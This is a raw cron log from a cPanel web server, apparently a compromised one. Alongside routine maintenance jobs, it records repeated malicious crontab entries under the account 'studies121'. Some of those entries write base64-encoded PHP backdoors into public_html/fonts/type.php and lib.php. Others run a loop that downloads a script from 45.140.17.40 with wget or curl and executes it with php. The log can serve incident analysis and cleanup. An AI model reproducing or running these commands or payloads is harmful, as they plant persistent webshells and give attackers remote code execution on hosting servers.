Sep  8 03:23:01 ip-184-168-122-23 CROND[31157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:23:01 ip-184-168-122-23 CROND[31160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:23:01 ip-184-168-122-23 CROND[31159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:24:01 ip-184-168-122-23 CROND[31263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:24:01 ip-184-168-122-23 CROND[31262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:24:01 ip-184-168-122-23 CROND[31261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:24:01 ip-184-168-122-23 CROND[31264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:24:01 ip-184-168-122-23 CROND[31260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:25:01 ip-184-168-122-23 CROND[31350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:25:01 ip-184-168-122-23 CROND[31354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:25:01 ip-184-168-122-23 CROND[31353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:25:01 ip-184-168-122-23 CROND[31351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:25:01 ip-184-168-122-23 CROND[31352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:25:01 ip-184-168-122-23 CROND[31356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:26:01 ip-184-168-122-23 CROND[31570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:26:01 ip-184-168-122-23 CROND[31571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:26:01 ip-184-168-122-23 CROND[31573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:26:01 ip-184-168-122-23 CROND[31574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:26:01 ip-184-168-122-23 CROND[31572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:27:01 ip-184-168-122-23 CROND[31666]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  8 03:27:01 ip-184-168-122-23 CROND[31669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:27:01 ip-184-168-122-23 CROND[31667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:27:01 ip-184-168-122-23 CROND[31671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:27:01 ip-184-168-122-23 CROND[31668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:28:01 ip-184-168-122-23 CROND[31779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:28:01 ip-184-168-122-23 CROND[31780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:28:01 ip-184-168-122-23 CROND[31782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:28:01 ip-184-168-122-23 CROND[31783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:28:01 ip-184-168-122-23 CROND[31784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:29:01 ip-184-168-122-23 CROND[31867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:29:01 ip-184-168-122-23 CROND[31868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:29:01 ip-184-168-122-23 CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:29:01 ip-184-168-122-23 CROND[31870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:30:01 ip-184-168-122-23 CROND[31954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:30:01 ip-184-168-122-23 CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:30:01 ip-184-168-122-23 CROND[31960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:30:01 ip-184-168-122-23 CROND[31955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:30:01 ip-184-168-122-23 CROND[31961]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:30:01 ip-184-168-122-23 CROND[31958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:30:01 ip-184-168-122-23 CROND[31963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:30:01 ip-184-168-122-23 CROND[31956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:31:01 ip-184-168-122-23 CROND[32049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:31:01 ip-184-168-122-23 CROND[32050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:31:01 ip-184-168-122-23 CROND[32051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:31:01 ip-184-168-122-23 CROND[32052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:31:01 ip-184-168-122-23 CROND[32053]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:32:01 ip-184-168-122-23 anacron[28667]: Job `cron.daily' started
Sep  8 03:32:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[32152]: starting logrotate
Sep  8 03:32:01 ip-184-168-122-23 CROND[32171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:32:02 ip-184-168-122-23 CROND[32174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:32:02 ip-184-168-122-23 CROND[32173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:32:02 ip-184-168-122-23 CROND[32175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:32:02 ip-184-168-122-23 CROND[32176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:32:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[32198]: finished logrotate
Sep  8 03:32:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[32152]: starting man-db.cron
Sep  8 03:32:04 ip-184-168-122-23 run-parts(/etc/cron.daily)[2227]: finished man-db.cron
Sep  8 03:32:04 ip-184-168-122-23 anacron[28667]: Job `cron.daily' terminated
Sep  8 03:32:04 ip-184-168-122-23 anacron[28667]: Normal exit (1 job run)
Sep  8 03:33:01 ip-184-168-122-23 CROND[2306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:33:01 ip-184-168-122-23 CROND[2308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:33:01 ip-184-168-122-23 CROND[2307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:33:01 ip-184-168-122-23 CROND[2309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:34:01 ip-184-168-122-23 CROND[2398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:34:01 ip-184-168-122-23 CROND[2402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:34:01 ip-184-168-122-23 CROND[2401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:34:01 ip-184-168-122-23 CROND[2400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:34:01 ip-184-168-122-23 CROND[2399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:35:01 ip-184-168-122-23 CROND[2587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:35:01 ip-184-168-122-23 CROND[2592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
